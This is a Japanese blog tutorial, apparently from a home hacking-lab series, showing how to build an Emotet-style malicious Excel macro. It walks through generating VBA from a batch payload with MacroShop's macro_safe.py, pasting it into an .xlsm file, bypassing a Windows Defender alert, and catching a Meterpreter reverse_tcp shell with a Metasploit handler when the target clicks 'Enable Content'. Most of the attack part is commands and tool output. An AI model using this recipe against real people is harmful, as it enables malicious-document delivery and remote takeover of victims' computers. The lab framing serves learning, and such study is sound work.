WordやExcelファイルにペイロードをバインドする方法

Windows 10

WordもしくはExcelファイルのマクロ機能を利用し、「コンテンツの有効化」をクリックするとペイロードが実行されるようなファイルを作成します。
最近話題になっている Emotet で用いられる手法です。
Emotet については IPA からも注意喚起されているため、以下に案内します。

「Emotet」と呼ばれるウイルスへの感染を狙うメールについて:IPA 独立行政法人 情報処理推進機構
情報セキュリティ関連情報のユーザー、管理者、技術者に向けた発信、その前提となる情報収集、調査分析、研究開発、技術評価等の実施

ペイロードの用意

以前作成した「evil3.bat」を使用します。exeファイルだと、今回の方法だとエラーが発生しスクリプトの作成に失敗しました。
作成方法は以下の記事を参照。

MacroShop のインストール

MacroShop とは、Office のマクロ機能を利用したペイロードを支援するスクリプト集で、Github に公開されています。なお、ほとんどが Python のようです。

khr0x40sh/MacroShop
Collection of scripts to aid in delivering payloads via Office Macros. Most are python. See for details. - khr0x40sh/MacroShop

Kali で以下のコマンドを実行することで MacroShop をインストールします。

root@kali:~/Desktop# git clone https://github.com/khr0x40sh/MacroShop.git
Cloning into 'MacroShop'...
remote: Enumerating objects: 46, done.
remote: Total 46 (delta 0), reused 0 (delta 0), pack-reused 46
Unpacking objects: 100% (46/46), 3.43 MiB | 1.29 MiB/s, done.

マクロスクリプトの生成

MacroShop ディレクトリで「macro_safe.py」を実行することで、マクロスクリプトを作成することができます。
macro_safe.py <バッチファイル型のペイロード> <出力ファイル> の構文で実行します。

root@kali:~/Desktop/MacroShop# ./macro_safe.py /var/www/html/share/evil3.bat /root/Desktop/script.txt

作成した「script.txt」の中身を見てみると、VBAでコードが書かれています。

root@kali:~/Desktop/MacroShop# cat /root/Desktop/script.txt 
Sub Workbook_Open()
'VBA arch detect suggested by "T"
Dim Command As String
Dim str As String
Dim exec As String

Arch = Environ("PROCESSOR_ARCHITECTURE")

---省略---

Excel の準備

上記で作成したスクリプトファイルを用いてExcelマクロを作成します。今回はホストOSで作成するのですが、私の場合 Office を持っていなかったので、O365の無料お試しでインストールを行いました。

https://products.office.com/ja-jp/try

Excelマクロの作成

Excelが用意できたら、マクロを作成します。
開発タブで Visual Basic をクリックし、ThisWorkbook に「script.txt」の内容を貼り付けます。

貼り付けたら、xlsm ファイルとして保存します。保存時に Windows Defender が反応しますが、一時的に許可して乗り切ってください。

Kali でリバースシェルを待ち受ける

以下の通り、Kali でリバースシェルを待ち受けます。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.0.0.2
lhost => 10.0.0.2
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.2:4444

ターゲット端末でのマクロ実行

ターゲット端末である Windows 10 に、ホストOSにあるマクロファイルを配置します。

次に、ターゲット端末でマクロファイルを開きます。
「コンテンツの有効化」をクリックしないとマクロが実行されないため、クリックします。

すると、Kali とのセッションが確立されました。成功です。

無事マクロファイルによるセッションの確立が行えたので、今回は終了です。

くどり

この記事は「ハッキング・ラボのつくりかた 第4章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました